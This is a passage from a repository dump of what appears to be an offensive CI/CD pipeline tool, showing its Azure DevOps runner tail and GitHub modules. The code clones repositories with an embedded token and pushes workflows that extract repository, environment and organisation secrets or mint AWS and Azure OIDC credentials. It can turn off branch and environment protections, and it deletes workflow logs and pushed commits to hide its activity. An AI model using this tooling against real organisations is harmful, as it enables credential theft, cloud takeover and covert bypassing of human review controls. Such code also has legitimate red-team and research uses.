pipelineId)\n\n            except (GitError, RepoCreationError) as e:\n                name = project.get(\"name\")\n                logger.error(f\"Error in project {name}: {e}\")\n\n            except KeyboardInterrupt:\n                self.__clean(projectId, repoId, deleteRemoteRepo, deleteRemotePipeline)\n                chdir(\"../\")\n                subprocess.Popen(f\"rm -rfd ./{self._cicd.repoName}\", shell=True).wait()\n\n            except Exception as e:\n                logger.error(f\"Error during pipeline run: {e}\")\n                if logger.getEffectiveLevel() == logging.DEBUG:\n                    logger.exception(e)\n\n                self.__clean(projectId, repoId, deleteRemoteRepo, deleteRemotePipeline)\n                chdir(\"../\")\n                subprocess.Popen(f\"rm -rfd ./{self._cicd.repoName}\", shell=True).wait()\n\n            else:\n                self.__clean(projectId, repoId, deleteRemoteRepo, deleteRemotePipeline)\n                chdir(\"../\")\n                subprocess.Popen(f\"rm -rfd ./{self._cicd.repoName}\", shell=True).wait()\n\n    def describeToken(self):\n        response = self._cicd.getUser()\n        logger.info(\"Token information:\")\n\n        username = response.get(\"authenticatedUser\").get(\"properties\").get(\"Account\").get(\"$value\")\n        if username != \"\":\n            logger.raw(f\"\\t- Username: {username}\\n\", logging.INFO)\n\n        id = response.get(\"authenticatedUser\").get(\"id\")\n        if id != \"\":\n            logger.raw(f\"\\t- Id: {id}\\n\", logging.INFO)\n\n    def __checkRunErrors(self, run):\n        if run.get(\"customProperties\") != None:\n            validationResults = run.get(\"customProperties\").get(\"ValidationResults\", [])\n\n            msg = \"\"\n            for res in validationResults:\n                if res.get(\"result\", \"\") == \"error\":\n\n                    if \"Verify the name and credentials being used\" in res.get(\"message\", \"\"):\n                        raise DevOpsError(\"The stored token is not valid anymore.\")\n\n                    msg += res.get(\"message\", \"\") + \"\\n\"\n\n            raise DevOpsError(msg)\n\n    def parseExtractList(self, extractList, allow=True):\n\n        extractList = extractList.split(\",\") if extractList else []\n\n        self._extractVariableGroups = isAllowed(\"vg\", extractList, allow)\n        self._extractSecureFiles = isAllowed(\"sf\", extractList, allow)\n        self._extractAzureServiceconnections = isAllowed(\"az\", extractList, allow)\n        self._extractGitHubServiceconnections = isAllowed(\"gh\", extractList, allow)\n        self._extractAWSServiceconnections = isAllowed(\"aws\", extractList, allow)\n        self._extractSonarServiceconnections = isAllowed(\"sonar\", extractList, allow)\n        self._extractSSHServiceConnections = isAllowed(\"ssh\", extractList, allow)\n"
  },
  {
    "path": "nordstream/core/github/display.py",
    "content": "from nordstream.utils.log import logger\nimport logging\nfrom nordstream.core.github.protections import getUsersArray, getTeamsOrAppsArray\n\n\ndef displayRepoSecrets(secrets):\n    if len(secrets) != 0:\n        logger.info(\"Repo secrets:\")\n        for secret in secrets:\n            logger.raw(f\"\\t- {secret}\\n\", logging.INFO)\n\n\ndef displayDependabotRepoSecrets(secrets):\n    if len(secrets) != 0:\n        logger.info(\"Dependabot repo secrets:\")\n        for secret in secrets:\n            logger.raw(f\"\\t- {secret}\\n\", logging.INFO)\n\n\ndef displayEnvSecrets(env, secrets):\n    if len(secrets) != 0:\n        logger.info(f\"{env} secrets:\")\n        for secret in secrets:\n            logger.raw(f\"\\t- {secret}\\n\", logging.INFO)\n\n\ndef displayOrgSecrets(secrets):\n    if len(secrets) != 0:\n        logger.info(\"Repository organization secrets:\")\n        for secret in secrets:\n            logger.raw(f\"\\t- {secret}\\n\", logging.INFO)\n\n\ndef displayDependabotOrgSecrets(secrets):\n    if len(secrets) != 0:\n        logger.info(\"Dependabot organization secrets:\")\n        for secret in secrets:\n            logger.raw(f\"\\t- {secret}\\n\", logging.INFO)\n\n\ndef displayEnvSecurity(envDetails):\n    protectionRules = envDetails.get(\"protection_rules\")\n    envName = envDetails.get(\"name\")\n\n    if len(protectionRules) > 0:\n        logger.info(f'Environment protection for: \"{envName}\":')\n        for protection in protectionRules:\n            if protection.get(\"type\") == \"required_reviewers\":\n                for reviewer in protection.get(\"reviewers\"):\n                    reviewerType = reviewer.get(\"type\")\n                    login = reviewer.get(\"reviewer\").get(\"login\")\n                    userId = reviewer.get(\"reviewer\").get(\"id\")\n                    logger.raw(\n                        f\"\\t- reviewer ({reviewerType}): {login}/{userId}\\n\",\n                        logging.INFO,\n                    )\n            elif protection.get(\"type\") == \"wait_timer\":\n                wait = protection.get(\"wait_timer\")\n                logger.raw(f\"\\t- timer: {wait} min\\n\", logging.INFO)\n            else:\n                branchPolicy = envDetails.get(\"deployment_branch_policy\")\n                if branchPolicy.get(\"custom_branch_policies\", False):\n                    logger.raw(f\"\\t- deployment branch policy: custom\\n\", logging.INFO)\n                else:\n                    logger.raw(f\"\\t- deployment branch policy: protected\\n\", logging.INFO)\n    else:\n        logger.info(f'No environment protection rule found for: \"{envName}\"')\n\n\ndef displayBranchProtectionRules(protections):\n    logger.info(\"Branch protections:\")\n\n    logger.raw(\n        f'\\t- enforce admins: {protections.get(\"enforce_admins\").get(\"enabled\")}\\n',\n        logging.INFO,\n    )\n    logger.raw(\n        \"\\t- block creations:\" f' {protections.get(\"block_creations\").get(\"enabled\")}\\n',\n        logging.INFO,\n    )\n    logger.raw(\n        \"\\t- required signatures:\" f' {protections.get(\"required_signatures\").get(\"enabled\")}\\n',\n        logging.INFO,\n    )\n    logger.raw(\n        \"\\t- allow force pushes:\" f' {protections.get(\"allow_force_pushes\").get(\"enabled\")}\\n',\n        logging.INFO,\n    )\n    logger.raw(\n        \"\\t- allow deletions:\" f' {protections.get(\"allow_deletions\").get(\"enabled\")}\\n',\n        logging.INFO,\n    )\n\n    if protections.get(\"restrictions\"):\n        displayRestrictions(protections.get(\"restrictions\"))\n\n    if protections.get(\"required_pull_request_reviews\"):\n        displayRequiredPullRequestReviews(protections.get(\"required_pull_request_reviews\"))\n    else:\n        logger.raw(f\"\\t- required pull request reviews: False\\n\", logging.INFO)\n\n    if protections.get(\"required_status_checks\"):\n        displayRequiredStatusChecks(protections.get(\"required_status_checks\"))\n\n    logger.raw(\n        \"\\t- required linear history:\" f' {protections.get(\"required_linear_history\").get(\"enabled\")}\\n',\n        logging.INFO,\n    )\n    logger.raw(\n        \"\\t- required conversation resolution:\"\n        f' {protections.get(\"required_conversation_resolution\").get(\"enabled\")}\\n',\n        logging.INFO,\n    )\n    logger.raw(\n        f'\\t- lock branch: {protections.get(\"lock_branch\").get(\"enabled\")}\\n',\n        logging.INFO,\n    )\n    logger.raw(\n        \"\\t- allow fork syncing:\" f' {protections.get(\"allow_fork_syncing\").get(\"enabled\")}\\n',\n        logging.INFO,\n    )\n\n\ndef displayRequiredStatusChecks(data):\n\n    logger.raw(f\"\\t- required status checks:\\n\", logging.INFO)\n    logger.raw(f'\\t    - strict: {data.get(\"strict\")}\\n', logging.INFO)\n\n    if len(data.get(\"contexts\")) != 0:\n        logger.raw(f'\\t    - contexts: {data.get(\"contexts\")}\\n', logging.INFO)\n\n    if len(data.get(\"checks\")) != 0:\n        logger.raw(f'\\t    - checks: {data.get(\"checks\")}\\n', logging.INFO)\n\n\ndef displayRequiredPullRequestReviews(data):\n\n    logger.raw(f\"\\t- pull request reviews:\\n\", logging.INFO)\n    logger.raw(f'\\t    - approving review count: {data.get(\"required_approving_review_count\")}\\n', logging.INFO)\n    logger.raw(f'\\t    - require code owner reviews: {data.get(\"require_code_owner_reviews\")}\\n', logging.INFO)\n    logger.raw(f'\\t    - require last push approval: {data.get(\"require_last_push_approval\")}\\n', logging.INFO)\n    logger.raw(f'\\t    - dismiss stale reviews: {data.get(\"dismiss_stale_reviews\")}\\n', logging.INFO)\n\n    if data.get(\"dismissal_restrictions\"):\n        users = getUsersArray(data.get(\"dismissal_restrictions\").get(\"users\"))\n        teams = getTeamsOrAppsArray(data.get(\"dismissal_restrictions\").get(\"teams\"))\n        apps = getTeamsOrAppsArray(data.get(\"dismissal_restrictions\").get(\"apps\"))\n\n        if len(users) != 0 or len(teams) != 0 or len(apps) != 0:\n            logger.raw(f\"\\t    - dismissal_restrictions:\\n\", logging.INFO)\n\n            if len(users) != 0:\n                logger.raw(f\"\\t        - users: {users}\\n\", logging.INFO)\n            if len(teams) != 0:\n                logger.raw(f\"\\t        - teams: {teams}\\n\", logging.INFO)\n            if len(apps) != 0:\n                logger.raw(f\"\\t        - apps: {apps}\\n\", logging.INFO)\n\n    if data.get(\"bypass_pull_request_allowances\"):\n        users = getUsersArray(data.get(\"bypass_pull_request_allowances\").get(\"users\"))\n        teams = getTeamsOrAppsArray(data.get(\"bypass_pull_request_allowances\").get(\"teams\"))\n        apps = getTeamsOrAppsArray(data.get(\"bypass_pull_request_allowances\").get(\"apps\"))\n\n        if len(users) != 0 or len(teams) != 0 or len(apps) != 0:\n            logger.raw(f\"\\t    - bypass pull request allowances:\\n\", logging.INFO)\n\n            if len(users) != 0:\n                logger.raw(f\"\\t        - users: {users}\\n\", logging.INFO)\n            if len(teams) != 0:\n                logger.raw(f\"\\t        - teams: {teams}\\n\", logging.INFO)\n            if len(apps) != 0:\n                logger.raw(f\"\\t        - apps: {apps}\\n\", logging.INFO)\n\n\ndef displayRestrictions(data):\n    users = getUsersArray(data.get(\"users\"))\n    teams = getTeamsOrAppsArray(data.get(\"teams\"))\n    apps = getTeamsOrAppsArray(data.get(\"apps\"))\n\n    if len(users) != 0 or len(teams) != 0 or len(apps) != 0:\n        logger.raw(f\"\\t- person allowed to push to restricted branches (restrictions):\\n\", logging.INFO)\n\n        if len(users) != 0:\n            logger.raw(f\"\\t    - users: {users}\\n\", logging.INFO)\n        if len(teams) != 0:\n            logger.raw(f\"\\t    - teams: {teams}\\n\", logging.INFO)\n        if len(apps) != 0:\n            logger.raw(f\"\\t    - apps: {apps}\\n\", logging.INFO)\n"
  },
  {
    "path": "nordstream/core/github/github.py",
    "content": "import logging\nimport base64\nimport glob\nfrom zipfile import ZipFile\nfrom os import makedirs, chdir\nfrom os.path import exists, realpath, basename\nfrom nordstream.yaml.github import WorkflowGenerator\nfrom nordstream.yaml.custom import CustomGenerator\nfrom nordstream.core.github.protections import (\n    resetRequiredStatusCheck,\n    resetRequiredPullRequestReviews,\n    resetRestrictions,\n)\nfrom nordstream.core.github.display import *\nfrom nordstream.utils.errors import GitHubError, GitPushError, GitHubBadCredentials\nfrom nordstream.utils.log import logger, NordStreamLog\nfrom nordstream.utils.helpers import randomString\nfrom nordstream.utils.constants import DEFAULT_WORKFLOW_FILENAME\nfrom nordstream.git import Git\nimport subprocess\n\n\nclass GitHubWorkflowRunner:\n    _cicd = None\n    _taskName = \"command\"\n    _workflowFilename = DEFAULT_WORKFLOW_FILENAME\n    _fileName = None\n    _env = None\n    _extractRepo = True\n    _extractEnv = True\n    _extractOrg = True\n    _yaml = None\n    _exploitOIDC = False\n    _tenantId = None\n    _subscriptionId = None\n    _clientId = None\n    _role = None\n    _region = None\n    _forceDeploy = False\n    _disableProtections = None\n    _writeAccessFilter = False\n    _branchAlreadyExists = False\n    _pushedCommitsCount = 0\n    _cleanLogs = True\n\n    def __init__(self, cicd, env):\n        self._cicd = cicd\n        self._env = env\n        self.__createLogDir()\n\n    @property\n    def extractRepo(self):\n        return self._extractRepo\n\n    @extractRepo.setter\n    def extractRepo(self, value):\n        self._extractRepo = value\n\n    @property\n    def extractEnv(self):\n        return self._extractEnv\n\n    @extractEnv.setter\n    def extractEnv(self, value):\n        self._extractEnv = value\n\n    @property\n    def extractOrg(self):\n        return self._extractOrg\n\n    @extractOrg.setter\n    def extractOrg(self, value):\n        self._extractOrg = value\n\n    @property\n    def workflowFilename(self):\n        return self._workflowFilename\n\n    @workflowFilename.setter\n    def workflowFilename(self, value):\n        self._workflowFilename = value\n\n    @property\n    def yaml(self):\n        return self._yaml\n\n    @yaml.setter\n    def yaml(self, value):\n        self._yaml = realpath(value)\n\n    @property\n    def exploitOIDC(self):\n        return self._exploitOIDC\n\n    @exploitOIDC.setter\n    def exploitOIDC(self, value):\n        self._exploitOIDC = value\n\n    @property\n    def tenantId(self):\n        return self._tenantId\n\n    @tenantId.setter\n    def tenantId(self, value):\n        self._tenantId = value\n\n    @property\n    def subscriptionId(self):\n        return self._subscriptionId\n\n    @subscriptionId.setter\n    def subscriptionId(self, value):\n        self._subscriptionId = value\n\n    @property\n    def clientId(self):\n        return self._clientId\n\n    @clientId.setter\n    def clientId(self, value):\n        self._clientId = value\n\n    @property\n    def role(self):\n        return self._role\n\n    @role.setter\n    def role(self, value):\n        self._role = value\n\n    @property\n    def region(self):\n        return self._region\n\n    @region.setter\n    def region(self, value):\n        self._region = value\n\n    @property\n    def disableProtections(self):\n        return self._disableProtections\n\n    @disableProtections.setter\n    def disableProtections(self, value):\n        self._disableProtections = value\n\n    @property\n    def writeAccessFilter(self):\n        return self._writeAccessFilter\n\n    @writeAccessFilter.setter\n    def writeAccessFilter(self, value):\n        self._writeAccessFilter = value\n\n    @property\n    def branchAlreadyExists(self):\n        return self._branchAlreadyExists\n\n    @branchAlreadyExists.setter\n    def branchAlreadyExists(self, value):\n        self._branchAlreadyExists = value\n\n    @property\n    def pushedCommitsCount(self):\n        return self._pushedCommitsCount\n\n    @pushedCommitsCount.setter\n    def pushedCommitsCount(self, value):\n        self._pushedCommitsCount = value\n\n    @property\n    def forceDeploy(self):\n        return self._forceDeploy\n\n    @forceDeploy.setter\n    def forceDeploy(self, value):\n        self._forceDeploy = value\n\n    @property\n    def cleanLogs(self):\n        return self._cleanLogs\n\n    @cleanLogs.setter\n    def cleanLogs(self, value):\n        self._cleanLogs = value\n\n    def __createLogDir(self):\n        self._cicd.outputDir = realpath(self._cicd.outputDir) + \"/github\"\n        makedirs(self._cicd.outputDir, exist_ok=True)\n\n    @staticmethod\n    def __createWorkflowDir():\n        makedirs(\".github/workflows\", exist_ok=True)\n\n    def __extractWorkflowOutput(self, repo):\n        name = self._fileName.strip(\".zip\")\n        with ZipFile(f\"{self._cicd.outputDir}/{repo}/{self._fileName}\") as zipOutput:\n            zipOutput.extractall(f\"{self._cicd.outputDir}/{repo}/{name}\")\n\n    def __extractSensitiveInformationFromWorkflowResult(self, repo, informationType=\"Secrets\"):\n        filePath = self.__getWorkflowOutputFileName(repo)\n        if filePath:\n            with open(filePath, \"r\") as output:\n                # well it's working\n                data = output.readlines()[-1].split(\" \")[1]\n\n                try:\n                    secrets = base64.b64decode(base64.b64decode(data))\n                except Exception as e:\n                    logger.exception(e)\n            logger.success(f\"{informationType}:\")\n            logger.raw(secrets, logging.INFO)\n\n            with open(f\"{self._cicd.outputDir}/{repo}/{informationType.lower().replace(' ', '_')}.txt\", \"ab\") as file:\n                file.write(secrets)\n\n    def __getWorkflowOutputFileName(self, repo):\n        name = self._fileName.strip(\".zip\")\n        filePaths = glob.glob(f\"{self._cicd.outputDir}/{repo}/{name}/init/*_{self._taskName}*.txt\")\n        logger.debug(filePaths)\n        logger.debug(f\"{self._cicd.outputDir}/{repo}/{name}/init/*_{self._taskName}*.txt\")\n        if len(filePaths) > 0:\n            filePath = filePaths[0]\n            return filePath\n\n        else:\n            logger.success(f\"Data is accessible here: {self._cicd.outputDir}/{repo}/{name}/\")\n            return None\n\n    def __displayCustomWorkflowOutput(self, repo):\n        filePath = self.__getWorkflowOutputFileName(repo)\n        if filePath:\n            with open(filePath, \"r\") as output:\n                logger.success(\"Workflow output:\")\n                line = output.readline()\n                while line != \"\":\n                    logger.raw(line, logging.INFO)\n                    line = output.readline()\n\n    def createYaml(self, repo, workflowType):\n\n        workflowGenerator = WorkflowGenerator()\n\n        if workflowType == \"awsoidc\":\n            workflowGenerator.generateWorkflowForOIDCAWSTokenGeneration(self._role, self._region, self._env)\n        elif workflowType == \"azureoidc\":\n            workflowGenerator.generateWorkflowForOIDCAzureTokenGeneration(\n                self._tenantId, self._subscriptionId, self._clientId, self._env\n            )\n        else:\n            repo = self._cicd.org + \"/\" + repo\n\n            if self._env:\n                try:\n                    secrets = self._cicd.listSecretsFromEnv(repo, self._env)\n                except GitHubError as e:\n                    # FIXME: Raise an Exception here\n                    logger.exception(e)\n            else:\n                secrets = self._cicd.listSecretsFromRepo(repo)\n\n            if len(secrets) > 0:\n                workflowGenerator.generateWorkflowForSecretsExtraction(secrets, self._env)\n            else:\n                logger.info(\"No secret found.\")\n\n        logger.success(\"YAML file: \")\n        workflowGenerator.displayYaml()\n        workflowGenerator.writeFile(self._workflowFilename)\n\n    def __extractSecretsFromRepo(self, repo):\n        logger.info(f'Getting secrets from repo: \"{repo}\"')\n        secrets = []\n\n        try:\n            if self._extractRepo:\n                secrets += self._cicd.listSecretsFromRepo(repo)\n                # we can't extract dependabot secrets from regular workflows\n                # secrets += self._cicd.listDependabotSecretsFromRepo(repo)\n            if self._extractOrg:\n                secrets += self._cicd.listOrganizationSecretsFromRepo(repo)\n                # we can't extract dependabot secrets from regular workflows\n                # secrets += self._cicd.listDependabotOrganizationSecrets()\n        except GitHubError as e:\n            logger.error(e)\n\n        if len(secrets) > 0:\n            workflowGenerator = WorkflowGenerator()\n            workflowGenerator.generateWorkflowForSecretsExtraction(secrets)\n\n            if self.__generateAndLaunchWorkflow(repo, workflowGenerator, \"repo\", self._env):\n                self.__extractSensitiveInformationFromWorkflowResult(repo)\n\n        else:\n            logger.info(\"No secret found\")\n\n        logger.empty_line()\n\n    def __extractSecretsFromSingleEnv(self, repo, env):\n        logger.info(f'Getting secrets from environment: \"{env}\" ({repo})')\n        secrets = []\n\n        try:\n            secrets = self._cicd.listSecretsFromEnv(repo, env)\n        except GitHubError as e:\n            logger.error(e)\n\n        if len(secrets) > 0:\n            workflowGenerator = WorkflowGenerator()\n            workflowGenerator.generateWorkflowForSecretsExtraction(secrets, env)\n\n            if self.__generateAndLaunchWorkflow(repo, workflowGenerator, f\"env_{env}\", env):\n                self.__extractSensitiveInformationFromWorkflowResult(repo)\n\n        else:\n            logger.info(\"No secret found\")\n\n        logger.empty_line()\n\n    def __extractSecretsFromAllEnv(self, repo):\n        for env in self._cicd.listEnvFromrepo(repo):\n            self.__extractSecretsFromSingleEnv(repo, env)\n\n    def __extractSecretsFromEnv(self, repo):\n        if self._env:\n            self.__extractSecretsFromSingleEnv(repo, self._env)\n        else:\n            self.__extractSecretsFromAllEnv(repo)\n\n    def __generateAndLaunchWorkflow(self, repo, workflowGenerator, outputName, env=None):\n\n        policyId = waitTime = reviewers = branchPolicy = envDetails = None\n\n        try:\n\n            # disable env protection before launching the workflow if no '--force' and env is not null\n            if not self._forceDeploy and env:\n\n                # check protection and if enabled return the protections\n                envDetails = self.__isEnvProtectionsEnabled(repo, env)\n                if envDetails and len(envDetails.get(\"protection_rules\")):\n\n                    # if --disable-protection disable the env protections\n                    if self._disableProtections:\n                        (\n                            policyId,\n                            waitTime,\n                            reviewers,\n                            branchPolicy,\n                        ) = self.__disableEnvProtections(repo, envDetails)\n                    else:\n                        raise Exception(\"Environment protection rule enabled but '--disable-protections' not activated\")\n\n            # start the workflow\n            workflowId, workflowConclusion = self.__launchWorkflow(repo, workflowGenerator)\n\n            # check workflow status and get result if it's ok\n            return self.__postProcessingWorkflow(repo, workflowId, workflowConclusion, outputName)\n\n        except GitPushError as e:\n            pass\n\n        except Exception as e:\n            logger.error(f\"Error: {e}\")\n            if logger.getEffectiveLevel() == logging.DEBUG:\n                logger.exception(e)\n\n        finally:\n\n            # restore protections\n            if self._disableProtections and envDetails:\n                self.__restoreEnvProtections(repo, env, policyId, waitTime, reviewers, branchPolicy)\n\n    def __launchWorkflow(self, repo, workflowGenerator):\n        logger.verbose(f\"Launching workflow.\")\n\n        workflowGenerator.writeFile(f\".github/workflows/{self._workflowFilename}\")\n\n        pushOutput = Git.gitPush(self._cicd.branchName)\n        pushOutput.wait()\n\n        if b\"Everything up-to-date\" in pushOutput.communicate()[1].strip():\n            logger.error(\"Error when pushing code: Everything up-to-date\")\n            logger.warning(\"Your trying to push the same code on an existing branch, modify the yaml file to push it.\")\n            raise GitPushError\n\n        elif pushOutput.returncode != 0:\n            logger.error(\"Error when pushing code:\")\n            logger.raw(pushOutput.communicate()[1], logging.INFO)\n            raise GitPushError\n\n        else:\n            self._pushedCommitsCount += 1\n\n            logger.raw(pushOutput.communicate()[1])\n            workflowId, workflowConclusion = self._cicd.waitWorkflow(repo, self._workflowFilename)\n\n            return workflowId, workflowConclusion\n\n    def __postProcessingWorkflow(self, repo, workflowId, workflowConclusion, outputName):\n\n        if workflowId and workflowConclusion == \"success\":\n            logger.success(\"Workflow has successfully terminated.\")\n            self._fileName = self._cicd.downloadWorkflowOutput(\n                repo,\n                f\"{outputName.replace('/','_').replace(' ', '_')}\",\n                workflowId,\n            )\n            self.__extractWorkflowOutput(repo)\n            return True\n        elif workflowId and workflowConclusion == \"failure\":\n            logger.error(\"Workflow failure:\")\n            for reason in self._cicd.getFailureReason(repo, workflowId):\n                logger.error(f\"{reason}\")\n            return False\n        else:\n            return False\n\n    def listGitHubRepos(self):\n        logger.info(\"Listing all repos:\")\n        for r in self._cicd.repos:\n            logger.raw(f\"- {r}\\n\", level=logging.INFO)\n\n    def listGitHubSecrets(self):\n        logger.info(\"Listing secrets:\")\n        if self._extractOrg:\n            self.__displayDependabotOrgSecrets()\n\n        for repo in self._cicd.repos:\n            logger.info(f'\"{repo}\" secrets')\n\n            if self._extractRepo:\n                self.__displayRepoSecrets(repo)\n\n            if self._extractEnv:\n                self.__displayEnvSecrets(repo)\n\n            if self._extractOrg:\n                self.__displayOrgSecrets(repo)\n\n    def __displayRepoSecrets(self, repo):\n        try:\n            secrets = self._cicd.listSecretsFromRepo(repo)\n            displayRepoSecrets(secrets)\n\n            secrets = self._cicd.listDependabotSecretsFromRepo(repo)\n            displayDependabotRepoSecrets(secrets)\n        except Exception:\n            if logger.getEffectiveLevel() == NordStreamLog.VERBOSE:\n                logger.error(\"Can't get repo secrets.\")\n\n    def __displayEnvSecrets(self, repo):\n        try:\n            envs = self._cicd.listEnvFromrepo(repo)\n        except Exception:\n            if logger.getEffectiveLevel() == NordStreamLog.VERBOSE:\n                logger.error(\"Can't list environment.\")\n            return\n\n        for env in envs:\n            try:\n                secrets = self._cicd.listSecretsFromEnv(repo, env)\n                displayEnvSecrets(env, secrets)\n            except Exception:\n                if logger.getEffectiveLevel() == NordStreamLog.VERBOSE:\n                    logger.error(f\"Can't get secrets for env {env}.\")\n\n    def __displayOrgSecrets(self, repo):\n        try:\n            secrets = self._cicd.listOrganizationSecretsFromRepo(repo)\n            displayOrgSecrets(secrets)\n        except Exception:\n            if logger.getEffectiveLevel() == NordStreamLog.VERBOSE:\n                logger.error(\"Can't get org secrets.\")\n\n    def __displayDependabotOrgSecrets(self):\n        try:\n            secrets = self._cicd.listDependabotOrganizationSecrets()\n            displayDependabotOrgSecrets(secrets)\n        except Exception:\n            if logger.getEffectiveLevel() == NordStreamLog.VERBOSE:\n                logger.error(\"Can't get org secrets.\")\n\n    def getRepos(self, repo):\n\n        try:\n            if repo:\n                if exists(repo):\n                    with open(repo, \"r\") as file:\n                        for repo in file:\n                            self._cicd.addRepo(repo.strip())\n\n                else:\n                    self._cicd.addRepo(repo)\n\n            else:\n                self._cicd.listRepos()\n\n        except GitHubBadCredentials:\n            logger.fatal(\"Invalid token.\")\n\n        if self._writeAccessFilter:\n            self._cicd.filterWriteRepos()\n\n        if len(self._cicd.repos) == 0:\n            if self._writeAccessFilter:\n                logger.critical(\"No repository with write access found.\")\n            else:\n                logger.critical(\"No repository found.\")\n\n    def manualCleanLogs(self):\n        logger.info(\"Deleting logs\")\n        for repo in self._cicd.repos:\n            self._cicd.cleanAllLogs(repo, self._workflowFilename)\n\n    def manualCleanBranchPolicy(self):\n        logger.info(\"Deleting deployment branch policy\")\n        for repo in self._cicd.repos:\n            self._cicd.deleteDeploymentBranchPolicyForAllEnv(repo)\n\n    def __runCustomWorkflow(self, repo):\n        logger.info(f\"Running custom workflow: {self._yaml}\")\n\n        workflowGenerator = CustomGenerator()\n        workflowGenerator.loadFile(self._yaml)\n\n        self._workflowFilename = basename(self._yaml)\n\n        if self.__generateAndLaunchWorkflow(repo, workflowGenerator, \"custom\", self._env):\n            self.__displayCustomWorkflowOutput(repo)\n\n        logger.empty_line()\n\n    def __runOIDCTokenGenerationWorfklow(self, repo):\n\n        workflowGenerator = WorkflowGenerator()\n        if self._tenantId is not None and self._clientId is not None:\n            logger.info(\"Running OIDC Azure access tokens generation workflow\")\n            informationType = \"OIDC access tokens\"\n            workflowGenerator.generateWorkflowForOIDCAzureTokenGeneration(\n                self._tenantId, self._subscriptionId, self._clientId, self._env\n            )\n        else:\n            logger.info(\"Running OIDC AWS credentials generation workflow\")\n            informationType = \"OIDC credentials\"\n            workflowGenerator.generateWorkflowForOIDCAWSTokenGeneration(self._role, self._region, self._env)\n\n        if self.__generateAndLaunchWorkflow(repo, workflowGenerator, \"oidc\", self._env):\n            self.__extractSensitiveInformationFromWorkflowResult(repo, informationType=informationType)\n\n        logger.empty_line()\n\n    def __runSecretsExtractionWorkflow(self, repo):\n        if self._extractRepo or self._extractOrg:\n            self.__extractSecretsFromRepo(repo)\n\n        if self._extractEnv:\n            self.__extractSecretsFromEnv(repo)\n\n    def __deleteRemoteBranch(self):\n        logger.verbose(\"Deleting remote branch\")\n        deleteOutput = Git.gitDeleteRemote(self._cicd.branchName)\n        deleteOutput.wait()\n\n        if deleteOutput.returncode != 0:\n            logger.error(f\"Error deleting remote branch {self._cicd.branchName}\")\n            logger.raw(deleteOutput.communicate()[1], logging.INFO)\n            return False\n        return True\n\n    def __clean(self, repo, cleanRemoteLogs=True):\n\n        if self._pushedCommitsCount > 0:\n\n            if cleanRemoteLogs:\n                logger.info(\"Cleaning logs.\")\n\n                try:\n\n                    self._cicd.cleanAllLogs(repo, self._workflowFilename)\n\n                except Exception as e:\n                    logger.error(f\"Error while cleaning logs: {e}\")\n                    if self._cicd.isGHSToken():\n                        logger.warn(f\"This might be due to the GHS token.\")\n\n            logger.verbose(\"Cleaning commits.\")\n            if self._branchAlreadyExists and self._cicd.branchName != self._cicd.defaultBranchName:\n                Git.gitUndoLastPushedCommits(self._cicd.branchName, self._pushedCommitsCount)\n            else:\n                if not self.__deleteRemoteBranch():\n                    logger.info(\"Cleaning remote branch.\")\n                    # rm everything if we can't delete the branch (only leave one file otherwise it will try to rm the branch)\n                    Git.gitCleanRemote(self._cicd.branchName, leaveOneFile=True)\n\n    def start(self):\n\n        for repo in self._cicd.repos:\n            logger.success(f'\"{repo}\"')\n\n            url = f\"https://foo:{self._cicd.token}@github.com/{repo}\"\n            Git.gitClone(url)\n\n            repoShortName = repo.split(\"/\")[1]\n            chdir(repoShortName)\n            self._pushedCommitsCount = 0\n            self._branchAlreadyExists = Git.gitRemoteBranchExists(self._cicd.branchName)\n            Git.gitInitialization(self._cicd.branchName, branchAlreadyExists=self._branchAlreadyExists)\n\n            try:\n\n                # check and disable branch protection rules\n                protections = None\n                if not self._forceDeploy:\n                    protections = self.__checkAndDisableBranchProtectionRules(repo)\n\n                self.__createWorkflowDir()\n                self.__dispatchWorkflow(repo)\n\n            except KeyboardInterrupt:\n                pass\n\n            except Exception as e:\n                logger.error(f\"Error: {e}\")\n                if logger.getEffectiveLevel() == logging.DEBUG:\n                    logger.exception(e)\n\n            finally:\n\n                self.__clean(repo, cleanRemoteLogs=self._cleanLogs)\n\n                # if we are working with the default nord-stream branch we managed to\n                # delete the branch during the previous clean operation\n\n                if self._cicd.branchName != self._cicd.defaultBranchName:\n                    if protections:\n                        self.__resetBranchProtectionRules(repo, protections)\n\n                chdir(\"../\")\n                subprocess.Popen(f\"rm -rfd ./{repoShortName}\", shell=True).wait()\n\n        logger.info(f\"Check output: {self._cicd.outputDir}\")\n\n    def __dispatchWorkflow(self, repo):\n        if self._yaml:\n            self.__runCustomWorkflow(repo)\n        elif self._exploitOIDC:\n            self.__runOIDCTokenGenerationWorfklow(repo)\n        else:\n            self.__runSecretsExtractionWorkflow(repo)\n\n    def __checkAllEnvSecurity(self, repo):\n\n        try:\n            for env in self._cicd.listEnvFromrepo(repo):\n                self.__checkSingleEnvSecurity(repo, env)\n        except GitHubError as e:\n            logger.error(f\"Error while getting env security: {e}\")\n            if self._cicd.isGHSToken():\n                logger.warn(f\"This might be due to the GHS token.\")\n\n    def __checkSingleEnvSecurity(self, repo, env):\n        envDetails = self._cicd.getEnvDetails(repo, env)\n        displayEnvSecurity(envDetails)\n\n    def checkBranchProtections(self):\n        for repo in self._cicd.repos:\n            logger.info(f'Checking security: \"{repo}\"')\n            # TODO: check branch wide protection\n            # For now, it's not available in the REST API. It could still be performed using the GraphQL API.\n            # https://github.com/github/safe-settings/issues/311\n            protectionEnabled = False\n\n            url = f\"https://foo:{self._cicd.token}@github.com/{repo}\"\n            Git.gitClone(url)\n\n            repoShortName = repo.split(\"/\")[1]\n            chdir(repoShortName)\n            self._pushedCommitsCount = 0\n            self._branchAlreadyExists = Git.gitRemoteBranchExists(self._cicd.branchName)\n            Git.gitInitialization(self._cicd.branchName, branchAlreadyExists=self._branchAlreadyExists)\n\n            try:\n                protectionEnabled, protection = self.__checkAndGetBranchProtectionRules(repo)\n\n                if protectionEnabled:\n                    if protection:\n                        displayBranchProtectionRules(protection)\n                    else:\n                        logger.info(\n                            \"Not enough privileges to get protection rules or 'Restrict pushes that create matching branches' is enabled. Check another branch.\"\n                        )\n\n                self.__checkAllEnvSecurity(repo)\n\n            except Exception as e:\n                if logger.getEffectiveLevel() == logging.DEBUG:\n                    logger.exception(e)\n            finally:\n                # don't clean remote logs as we didn't push any workflow here.\n                self.__clean(repo, cleanRemoteLogs=False)\n                chdir(\"../\")\n                subprocess.Popen(f\"rm -rfd ./{repoShortName}\", shell=True).wait()\n\n    def _checkBranchProtectionRules(self, repo):\n        protectionEnabled = False\n\n        try:\n            protectionEnabled = self._cicd.checkBranchProtectionRules(repo)\n        except GitHubError:\n            pass\n\n        if not 